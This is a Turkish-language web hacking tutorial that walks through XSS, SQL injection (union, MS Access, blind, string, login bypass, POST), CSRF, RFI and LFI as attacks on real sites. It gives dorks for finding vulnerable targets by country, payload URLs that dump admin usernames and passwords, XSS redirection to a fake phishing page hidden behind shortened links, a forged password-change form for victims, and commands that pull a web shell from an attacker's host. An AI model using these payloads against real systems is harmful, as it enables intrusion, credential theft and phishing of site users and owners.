1. Zafiyet ve Çesitleri
Zafiyet nedir ? Zafiyet kelime anlami olarak ; ariklik , zayiflik demektir.
Peki Web Sunucularinda zafiyet kelimesinin anlami nedir ?
Zafiyet ; bir saldirganin sizin bilisim sisteminizin güvenligini azaltmasina olanak saglayan bir zayifliktir.Bu zayifligi kullanarak sisteminizi daha savunmasiz hale getirebilir ve bu sekilde fayda saglayabilir.
1.1 Çesitleri *XSS(Cross Site Script)
*SQL INJECTION
*LFI
*RFI
*CSRF / XSRF (Cross-Site Request Forgery)
2. XSS(Cross Site Script Nedir)? Kelime anlami “ Çapraz Kod Çalistirmak “. Çok basit olmasina ragmen büyük sistemlerde bile bulunabilir.
2.1. XSS Mantigi nedir ? Mesela “ facebook “ hakkinda konusalim.Siteye girip kullanici adi ve sifrenizi yazdiginizda “ beni hatirla “ seçenegi vardir.Bu seçenegi seçtikten sonra bilgileriniz sistem tarafindan bilgisayariniza kaydedilir. (Bunlara ‘ cookie ‘ denir.)
Bu küçük dosyalari bilgisayariniza kaydetmesinin sebebi ise sitenin bir daha ki ziyaretinizde sizi tanimasi ve bilgileri tekrar istememesidir.Simdi XSS burada basliyor.
Bu tür bir web sayfasinda XSS bulup , o web sayfasina üye olan kisilerin oturum bilgilerini (Cookie) alip , Çerez degisikligine sebep olup hesabi kontrol altina alabilirsiniz. XSS mantigi bu sekildedir.
2.2. XSS için hangi araç? Bir web tarayicisi kullanmaniz yeterli.
Örnegin :
Mozilla XSS bulduktan sonra bir sniffer ekleyerek admin sifre ve bilgilerine ulasilabilir.
2.3. XSS Açiklari nerede bulunur ?
2.3.1. Search Kutulari XSS açigi bulunmasi yüksek olan bir yer ise arama kutularidir.
Örnek üzerinde anlatmaya çalisayim.
Bir arama kutusu düsünün.
Arama kutusunda XSS olup olmadigini anlamak için alert komutu yazalim.
<script>alert(“Cyber-warrior.org // GoK-HaN“);</script> Bunu yazip ara dedikten sonra eger bir mesaj kutusu çikip “Cyber-warrior.org “ yazarsa XSS açigi buldugunuz anlamina gelir.

Birde id degerinden yapalim ...
Bir site düsünün : www.site.com/contact.php?id=2
‘id=’ degerinden sonraki alani siliyoruz ve alert kodumuzu yapistiriyoruz.Yeni linkimiz su sekilde oluyor.
www.site.com/contact.php?id=<script>alert("Cyber-warrior.org");</script>
Bu sekilde yazip gönderdigimizde üstteki mesaj kutusu yeniden geliyorsa xss var demektir.
2.3.2 Yorum Alanlari 
Buda üstteki yöntem gibi. Yorum alanina alert kodumuzu yazip yorum yap diyoruz.Mesaj kutusu gelirse xss var demektir.

Bu sekilde bir veri girebileceginiz , not birakabileceginiz alanlarda xss açigi deneyebilirsiniz.
Peki .
Sitede xss oldugunu biliyorsunuz ama hata gelmiyor .
Ne yapacagiz ?
2.4. ByPass Kodumuz su sekildeydi : <script>alert("Cyber-warrior.org");</script> En basit haliyle kodu su sekilde degistirdigimizde bypass saglanabilir.
Yeni Kod : “><script>alert("Cyber-warrior.org");</script>
2.5. JavaScript ByPass Kodumuz su sekildeydi : <script>alert("Cyber-warrior.org");</script> Bunu degistirip ;
Yeni Hali : <Script>alert("Cyber-warrior.org");</ScriptT> Seklinde yaparak hata vermesini saglayabiliriz.
Peki hatayi aldik ne yapabiliriz ?
2.6. Örnek Bir Kullanim www.site.com/cw.php?id=2 Seklinde hedefimiz oldugunu ve bu hedefte xss oldugunu düsünelim.
www.site.com/cw.php?id=”><script>alert("Cyber-warrior.org");</script> seklinde kodumuzu ekledik ve hatayi aldik.
Simdi ne yapabiliriz ? Phishing yapabilir miyiz ? Evet yapabiliriz.
Burada kurbani istediginiz bir fake sayfaya yönlendirip bilgilerini girmesini saglayabilirsiniz . Bunun için linkimize yönlendirme kodu ekleyelim.
www.site.com/cw.php?id=”><script>document.location.href=”www.fakesayfam.com”</script> Bunu girdigimizde site otomatik olarak fakesayfam.com adresine yönlendirecektir. Peki bunu kurbana bunu linki gönderdigimizde anlamayacak mi ? Link uzun ve degisik kodlar yaziyor . Bu linki kopyalayip link kisaltma sitelerinden herhangi birini kullanabilirsiniz . Bu sekilde süphelenmesini zorlastirabilirsiniz.
Kisaltildiktan sonra :
site.com/g1k1h1n gibi bir link olacaktir.
3-Structured Query Language ( SQL ) 
SQL açigi ; buldugumuz sitedeki verileri alip kendi yararimiza kullanmamizi saglar.Bunlari ise SQL kodlari ile yapariz.
Örnek verecek olursak ; admin bilgilerini almaya çalistigimizi düsünelim.
Öncelikle Kullanicilarin tutuldugu tabloyu almaliyiz .
Yani ; Üye tablosunu çekelim.

Üye tablosu böyle simdi kolona ulasmaliyiz. Bizim isimize yarayan kolonlar hangileridir ? Tabii ki kullanici adi ve sifre .
Bu seferde kolonlari çekip bilgileri ögreniriz. Bu sekilde 3 asamali düsünebiliriz.
Tablo > kolon > veri
En çok kullanilan sql komutlari su sekildedir.

3.1. SQL Açikli siteleri nasil buluruz ? ID degeri bulunan (site.com/cw.php?id=1) sitelerde , arama kutularinda , iletisim formlarinda vs bulunabilir.
Peki google’da bu siteleri nasil çikartabiliriz ? Su dork’u kullanabilirsiniz.
Dork : inurl:”.php?id=”
Belirli ülkeler için ise(örn israil) : inurl:”.php?id=” site:il
3.2. Nasil Tespit Ederiz ? Hedefimizin site.com/cw.php?id=2 oldugunu düsünelim.
Burada SQL açiginin olup olmadigini anlamak için id degerinden sonra gelen sayiya tek-tirnak ( ‘ ) veya tirnak+q ( ‘q ) ekleriz.
Ve bu hatayi almaya çalisiriz.

3.2.1 Sitedeki Arama(Search) Kutulari 
Bu sekilde arama yerine ayni isaretlerimizi ( ‘ veya ‘q ) koyup ara diyoruz ve hata vermesini deniyoruz.
3.2.2 Kayit Forumlari Kayit formunda ;
Ad
Soyad
Kullanici Adi
Sifre
Mail
Oldugunu düsünelim.
Hepsine isaretlerimizi ekleyip Kayit ol diyoruz ve hata vermesini deniyoruz.
Bu sekilde ziyaretçi defteri gibi veri girilen yerlerde de deneyebilirsiniz.
3.3 SQL ile Saldiri Hedefimize karar verdik.
Site.com/cw.php?id=7’
Ve isaretimizi de koyduk hatamizi aldik.
Ilk olarak kolon sayisini ögrenmeliyiz . peki nedir bu kolon sayisi ?
Veritabanindaki sütunlara kolon denir. Yukarida üye tablosu örnegi verdigimizde görünen Kullanici adi ve sifre sütunlari bir kolondur.
Simdi ;
Site.com/cw.php?id=7+order+by+1 yapiyoruz . Sayfa eski haline dönerse sondaki 1 sayisini yükseltiyoruz. ( order+by+2 , order+by+3 gibi)
Site.com/cw.php?id=7+order+by+10 dedik ve ekrana bir hata geldi
Unknown column ‘10’ in ‘order clause’
Bu hatadan yola çikarak kolon sayisinin 10’dan küçük oldugunu anlariz.Hemen bir azaltiriz.( +order+by+9 )
Yani sayfa hata verene kadar sayiyi yükseltiriz hata verdigi sayinin 1 eksigi bizim kolon sayimiz olur.
Eger bir sayi yazdiginizda ekrana bos bir sayfa gelirse yada degismez ise link sonuna -- (eksi eksi ) yada –x ( eksi eksi x ) ekleyip deneyebilirsiniz.
Kolon sayimizi buldugumuza göre ne yapacagiz ?
Kolon sayimizi bulduk : 9
Simdi kolonlari ekrana yansitmaya çalisacagiz. Kolonlari yansitmak için “ union select “ komutu kullanilir.
Örnegin ;
Site.com/cw.php?id=7+union+select+1,2,3,4,5,6,7,8,9
Peki neden burada 1,2,3,4,5,6,7,8,9 ekledik ? Çünkü kolon sayimiz 9 du.
(Kolon sayisi 5 olsaydi 1,2,3,4,5 olarak yazacaktik)
Sayi yansimadi ne yapacagim ?
Kodumuz ile biraz oynayarak bu islemide bypass edebiliriz.
Linkimi su sekilde degistirelim.
Site.com/cw.php?id=7+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9--
Bu sekilde yaptiginizda ekrana yansimasi gerekir. Eger olmaz ise su sekilde de degistirilebilir.
Site.com/cw.php?id=7+union+(select+1,2,3,4,5,6,7,8,9--)
Simdi üyeler tablosunu nasil alacagiz ?
Yukardaki kodlari yazdigimizda ekrana 5 rakaminin yansidigini düsünelim. Simdi bu rakam üzerinden bazi islemler gerçeklestirecegiz.
Site.com/cw.php?id=-7+union+select+1,2,3,4,database(),6,7,8,9
Seklinde linkimizi degistiriyoruz ve 5 rakaminin yansidigi yere database adi yansiyor.
Simdi bu db nin versiyonunu ögrenmeliyiz onun içinde ;
Site.com/cw.php?id=-7+union+select+1,2,3,4,version(),6,7,8,9
Seklinde linkimizi güncelliyoruz.
Simdi tablolari aliyoruz .
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables--
Seklinde sorgu gönderiyoruz.
Simdi biz veritabani adini ögrenmistik. Bu veri tabani içindeki tablolari alalim.
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()--
Seklinde sorgu gönderiyoruz. Buda bizim ugrastigimiz sitenin db sindeki tablolari yansitiyor. Yansimadi mi ?
Database() kelimesini hex’e dönüstürüyoruz. (64617461626173652829 )
NOT: hex’e dönüsmüs halinin basina “ 0x “ eklenmelidir.
Son hali : 0x64617461626173652829
Bu sekilde soruguyu gönderdik.
Ekrana bir kaç tablo yansiyacaktir. Kategoriler , mailler , üyeler vs gibi.
Bize burada lazim olan üyeler tablosudur.
Üyeler tablosunu yansitalim.
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()+and+table_name=uyeler--
Bu sekilde yaptik ve ekrana uye_id , uye_kullaniciadi , uye_sifre yansidi.
Bize lazim olanlar hangileri ? kullanici adi ve sifre.
Simdi bu sütunlardaki veriyi çekelim.
Site.com/cw.php?id=-7+union+select+1,2,3,4,group_concat(uye_kullaniciadi,uye_sifre),6,7,8,9+from+uyeler--
Ve karsimizda ;
Kullanici adi : Cyber Warrior
Sifre : CyberWarrior123
Bundan sonra ise admin panelini bulup bu bilgiler ile panele girmek kaliyor.
3.4. SQL Açigi Çesitleri
3.4.1. Ms Access Injection Öncelikle diger sql hatalarindan nasil ayiracagiz ? Buldugumuz açigin Ms Access SQL açigi olduugunu nereden anlayacagiz ? Nasil bir hata yansiyor ?
Site.com/Cyberwarrior.asp?id=2 gibi bir linke tirnak (‘) isaretimizi koydugumuzda su sekilde bir hata geliyorsa ;

Gelelim simdi bu açikta ne yapacagiz ?
Önceki anlattigimizda ki gibi öncelikle kolon sayisini bulmaliyiz.(üstteki baslikta nasil bulacaginizi ögrendiniz)
Site.com/Cyberwarrior.asp?id=2+order+by+6 dedik ve hata degisti .

6 yazdigimizda hata aldigimiz için kolon sayimiz 6-1 yani 5.
Buraya kadar geldiniz ve kendi kendinize diyorsunuz ki ; diger sql den farki yokmus . Farki simdi basliyor. Burada tablo adlarini yansitamiyoruz , ne mi yapacagiz ? Tahmin etmeye çalisacagiz.
En çok kullanilan tablo adlarini söyle bir aklimizdan geçirelim : user , users , admin , passwords vs.
Site.com/Cyber-warrior.asp?id=2+union+select+1,2,3,4,5+from+user-- deneyelim . Hata gelirse böyle bir tablo yok demektir.
Site.com/Cyber-warrior.asp?id=2+union+select+1,2,3,4,5+from+users-- deneyelim. Hata gelmedi mi ? Tamam tablomuzu bulduk.
Ekrana kolonlarin yansidigini göreceksiniz. 2 ve 3 rakaminin yansidigini farz edelim. Burada da az önce oldugu gibi sütun isimlerinide tahmin etmeliyiz.En çok kullanilan denir düsünelim.(username,password,user,pass vs)
Site.com/Cyber-warrior.asp?id=2+union+select+1,user,password,4,5+from+users-- yazdik.Ekrana yansimaz ise sütun adlarini bulamadik demektir.Yansidigini düsünelim.
Kullanici adi : Cyber-Warrior
Sifre : CyberWarrior123
Seklinde yansiyacaktir.
3.4.2. Blind SQL Injection Bu sql açiginin farki ise ; diger çesitlerde hata aliyorduk ama burada almayacagiz.Bu türde tirnak(‘) yada (‘q) kullanmayacagiz.Ne mi kullanacagiz ?
Hedefimiz > Site.com/Cyberwarrior.php?id=5
Burada Blind SQL olup olmadigini anlamak için linkin sonuna su sekilde ekleme yapiyoruz.
Site.com/Cyberwarrior.php?id=5 and 1=1 --
Yazdik ve sayfada degisiklik olmadigini farz edelim bu durumda ne yapacagiz ? Tabii ki rakamlarla oynayacagiz. 1=2 -- deneyelim.
Bunu yazdigimizda sayfada degisiklik olur ise Blind SQL bulduk demektir.
Ilk olarak MySQL versiyonunu ögrenmemiz gerekiyor.Bunun sebebi eger versiyonu 4 ise MCAccess SQL ‘ de oldugu gibi tahmin etmek zorunda kaliriz.
SQL kodlarindan bildiginiz gibi versiyonu ögrenmek için “ SELECT @@version “ yazabilirsiniz. Burada bizim isimize yarayacak yeri @@version ‘ dur.
SQL kodlarindan bildiginiz gibi bir de string islemlerinde geri dönen string’i parçalayip istediginiz yerini alabilirsiniz. ( Substring fonksiyonu)
Simdi veri tabani versiyonunu bulmaliyiz.Bunun için linkimizi su sekilde degistiriyoruz.
Site.com/Cyberwarrior.php?id=5 and substring(@@version,1,1)=2 seklinde sorgumuzu gönderdik.Eger MySQL versiyonu 2 degisse sayfa bozulacaktir.Bu sekilde sondaki 2 rakamini yükseltiyoruz. 2,3,4,5 gibi.
Site.com/Cyberwarrior.php?id=5 and substring(@@version,1,1)=5 yaptik ve hata vermedi . Bu versiyonun 5 oldugu anlamina gelir.Simdi ise tablolari çekelim.
Site.com/Cyberwarrior.php?id=5 and substring((select table_name from information_schema.tables where table_name like 0x7579656c6572),1,1)=0x75 olarak sorgumuzu gönderiyoruz. Simdi burada ne yaptik ?
7579656c6572 = bu “ uyeler “ kelimesinin hex hali ve ilk konulardan da hatirladiginiz gibi basina 0x ekliyoruz.
75 = Bu sayida “u” harfinin hex hali ve basina 0x ekliyoruz.
Peki burada ne demek istedik ?
Içinde uyeler kelimesi geçen tablonun ilk harfi u mu ?
Eger sayfa hata vermez , düzgün çalisir ise tablonun uyeler oldugunu anlariz.
Simdiki sorgumuz ise su sekilde olacaktir.Tablomuzu bulduk sirada kullanici adi ve sifre var yani sütunlar.
Site.com/Cyberwarrior.php?id=5 and substring((select column_name from information_schema.columns where table_name=0x 6b756c6c616e696369616469 limit 2,1),1,50) like 0x6b756c6c616e6963697369667265
Burada ne mi yaptik ?
6b756c6c616e696369616469 : kullaniciadi
6b756c6c616e6963697369667265 : kullanicisifre
Limit 2 : Bunun anlami çogu veritabaninda kullanici adi ve sifreler ilk 3 sütunda tutulur.
0: uye_id
1:kullanici adi
2:sifre gibi.
Yani burada kullaniciadi ve kullanicisifre sütunlarini aradik. Eger sayfada bir hata ile karsilasmazsaniz sütun isimlerinide buldunuz demektir.
Sütunlarida bulduk simdi veriyi çekelim.
Site.com/Cyberwarrior.php?id=5 and substring((select kullaniciadi from uyeler),1,1)= buraya hex kodunuzu yazarak tahmin etmeniz gerekiyor.Basina 0x koymayi unutmayin. Hata vermedigi sürece dogru buldunuz demektir. Sifreyide ayni sekilde tahmin etmelisiniz.
Site.com/Cyberwarrior.php?id=5 and substring((select kullanicisifre from uyeler),1,1)= buraya hex kodu
Bu sekilde bir SQL açigidir.
3.4.3. String SQL Injection Öncelikle bu nasil anlasilir bunu anlatmaya çalisayim. Normal bir SQL açigi gibi sonuna tirnak(‘) veya (‘q) isareti koyarak sql hatasi aliyoruz.
Sonra kolon sayisini ögreniyorduk ama bu türde order by kullanarak kolon sayisini ögrenemiyoruz.
Site.com/Cyberwarrior.asp?id=1+order+by+1-- gibi devam ediyoruz . +oder+by+111235461651895165 yaptik ama yinede hata vermiyor . Peki tirnak koyarak sql hatasini aldik ama kolon sayisini bulamiyoruz açik yok demek mi ? Tabii ki hayir.Açik var ama ugrastirmak istiyor.Iste bu türe String SQL diyoruz.
Rakam kullanarak hata alamadik bu yüzden string kullanacagiz.
Site.com/Cyberwarrior.asp?id=1+order+by+1’ and ‘x’=’x
Site.com/Cyberwarrior.asp?id=1+order+by+1-- and ‘x’=’y
Site.com/Cyberwarrior.asp?id=1+order+by+1-- and ‘y’=’x
Site.com/Cyberwarrior.asp?id=1+order+by+1-- and ‘z’=’x
Gibi denedik. Eger denediklerimizde sayfa degisir ve hata verirse bulduk demektir.Yani siteye mantik hatasi verdirmeye çalisiyoruz.
Simdi kolon sayimizi bulalim. Hata verdirdigimiz eki unutmuyoruz.(örn ‘x’=’x )
Site.com/Cyberwarrior.asp?id=-1’ union select+0+1,2,3,4,5 and ‘x’=’x seklinde sorgularimizi gönderiyor. Simdi diyeceksiniz ki 0 ne ?
Bildiginiz gibi sütun numaralari 0 dan baslar , bu yüzden 0 ‘i da dahil ediyoruz.
Evet yazdik ekrana 3 rakaminin yansidi.
Site.com/Cyberwarrior.asp?id=1’ and union select+0,1,2,(select group_concat(table_name)+from+informations_schema.tables+where+table_schema=database()),4,5 and ‘x’=’x
Bu sekilde yaptigimizda az önceki 3 rakaminin yansidigi yere tablolarin yansimasini sagliyoruz.( yansiyan tablo ismi uyeler olsun)
Site.com/Cyberwarrior.asp?id=1’ and union select+0,1,2,(select group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name=’uyeler’),4,5 and ‘x’=’x
Seklinde sorgumuzu gönderiyoruz ve kolonlar yansiyor. ( Kullanici_adi , kullanici_sifre )
Peki simdi kullanici adini ve sifreyi çekelim.
Site.com/Cyberwarrior.asp?id=1’ and union select+0,1,2,(select group_concat(kullanici_adi,kullanici_sifre)+from+’uyeler’),4,5 and ‘x’=’x
Seklinde sorgumuzu gönderiyoruz ve ekrana ;
Kullanici adi : CyberWarrior
Sifre : CyberWarrior123123 yaziyor ...
3.4.4. SQL Login ByPass Bu tür ise kullanici girisi gibi yerlerde arayabileceginiz bir açiktir.Sitenin admin panelini buldugunuzu düsünün. Kullanici adi yerine x ve sifre yerine y girdiginizde , giris kabul edilip panele yönlendirirse Login ByPass gerçeklesmis demektir.
Simdi x ve y yerine neler yazacagiz ? Bir kaç örnek verelim.Daha fazlasini internette bulabilirsiniz.

3.4.5. POST DATA SQL Injection Su sekilde bir form oldugunu düsünelim.

Kullanici adi ve sifre yerine tirnak+q(‘q) giriyoruz vesu sekilde hata vermesini sagliyoruz.

Evet hatayi aldik ne yapiyoruz ? Giris sayfasina dönüp (resim1) sayfanin kaynagini görüntülüyoruz.(ctrl+u yada sagtik>kaynak)
Kaynak kodlarinda <form name=”Cyber-warrior” method=”POST” action=”kullanici_giris.aspx”> gibi bir kod göreceksiniz.
Biz burada post yerine get kullanacagiz peki nedir farki ?
POST verileri adres çubugunda göstermez , GET ise adres çubugunda gösterir. Yani farki güvenlik .
Baslayalim ...
Ilk olarak kaynagi görüntüledigimizdeki kodu kopyaliyoruz ve masaüstüne bir metin belgesi açip yapistiriyoruz ve su sekilde kodu degistiriyoruz.
<form name=”herhangibirisim” method=”GET” action=”http://hedefsite.com/kullanici_giris.aspx”>
Ve uzantisi .html olarak kaydediyoruz.
Tiklayarak açiyoruz (gerekli yerleri tirnak+q olarak dolduruyoruz)ve hedefte söyle bir linke denk geleceksiniz.
Hedefsite.com/kullanici_girisi.aspx?kadi=’q&ksifre=’q&
Buradan sonrasini SQL Tool’lari ile yapabilirsiniz. Bu linkten taradiginda açik bulacaktir.
4. CSRF / XSRF (Cross Site Request Forgery) Nedir bu ?
Sizin cookie bilgilerinizin alinip baska bilgiler ile degistirilmesidir.
Karsinizdaki gönderdiginiz linke tikladigi anda elinizde demektir.
Nasil yapilir ?
Bir giris formunda verilerin get ile aktarildigini düsünelim.
Sifrenizi unuttunuz ve degistirmek için site.com/sifreyenile.php adresine gittiniz.Sifrenizi degistirdiginizde site.com/sifreyenile.php?yenisifre=girdiginizsifre123 seklinde bir link oldugunu görürseniz burada csrf açigi var anlamina gelir.
Eee karsi kurbaninkini nasil alacagim ?
Hemen bu sifre yenileme yerinin kaynak kodunu alirsiniz.
Su sekilde bir kaynak kodu olacaktir...
<form method=”get” action=”sifreyenile.php”>
<input type=”password” name=”sifre” >
<input type=”submit” value=”gönder”>
</form>
Bunu kopyalayip masaüstünde bir metin belgesi açip yapistiriyoruz ve su sekilde degistiriyoruz.
<form method=”get” action=”http://hedefsite.com/sifreyenile.php”>
<input type=”password” name=”sifre” value=”degismesiniistedginizsifre”>
<input type=”submit” value=”gönder”>
</form>
.html uzantili kaydediyoruz. Peki nasil hedefe gönderecegiz ? Burasi size kaliyor. Bir sekilde bu dosyayi gönderip tiklattirmaniz gerekiyor.
5. RFI (Remote File Include) Nedir ?
Kelime anlami hepimizin bildigi gibi uzaktan dosya eklemek / dahil etmektir.
Adindan da belli oldugu gibi siteye uzaktan bir dosya çekebiliriz.
Bir site oldugunu düsünelim. : site.com/cw.php?id=7
Id degerindeki 7 rakamini siliyoruz. Shell dosyamizi bir hosting’e .txt olarak atiyoruz ve su sekilde çagiriyoruz.
Site.com/cw.php?id=http://sitemiz.com/shell.txt
Dosya gelirde ekranda çalisir ise açigi buldunuz demektir.
6. LFI (Local File Include) Kelime anlami bildiginiz gibi Yerel dosya eklemek/dahil etmek anlamina gelir.Mantik olarak sitenin bulundugu sunucudaki dosyalari okumayi saglar. Burada kullanacagimiz komut etc/passwd komutudur.
site.com/cw.php?id= seklinde hedefimiz hazir. SQL hatasi veya baska hata veriyorsa LFI olma ihtimali var demektir. Bunun hatasi ise su sekildedir.
Warning : include() “/home/user/public_html/cw.php”
Bu hatayi aliyorsak LFI var demektir.
Burada hatayi iyi analiz edin kaç klasör vardi ? home , user , public_html , cw.php > 4
Bu yüzden 4 tane ../ isareti koyacagiz . Bu sekilde 4 dizin üste çikacagiz yani ana dizine.
site.com/cw.php?id=../../../../etc/passwd
Bu sekilde okuyamaz iseniz ../../../../etc/passwd komutunu html encoder ile sifreleyip deneyin.
site.com/cw.php?id=..%2F..%2F..%2F..%2Fetc%2Fpasswd seklinde yazdiginizda okuyacaksinizdir.
Su sekilde bir ekran ile karsilasacaksiniz.

Bundan sonrasi için mozilla ve tamper data eklentisi kullanacagiz.
Tamper data eklentisi açin ve önüne gelenlere “ tamper “ diyin.
Karsiniza bir form gelecek ve oradaki user-agent kismini su sekilde degistireceksiniz.
<? System(“cat www.sitemiz.com/shell.txt? –O shell.php”); ?>
Ve tamam diyecegiz. Dosyamiz dahil edildi.
Hedef.com/shell.php olarak ulasabilirsiniz.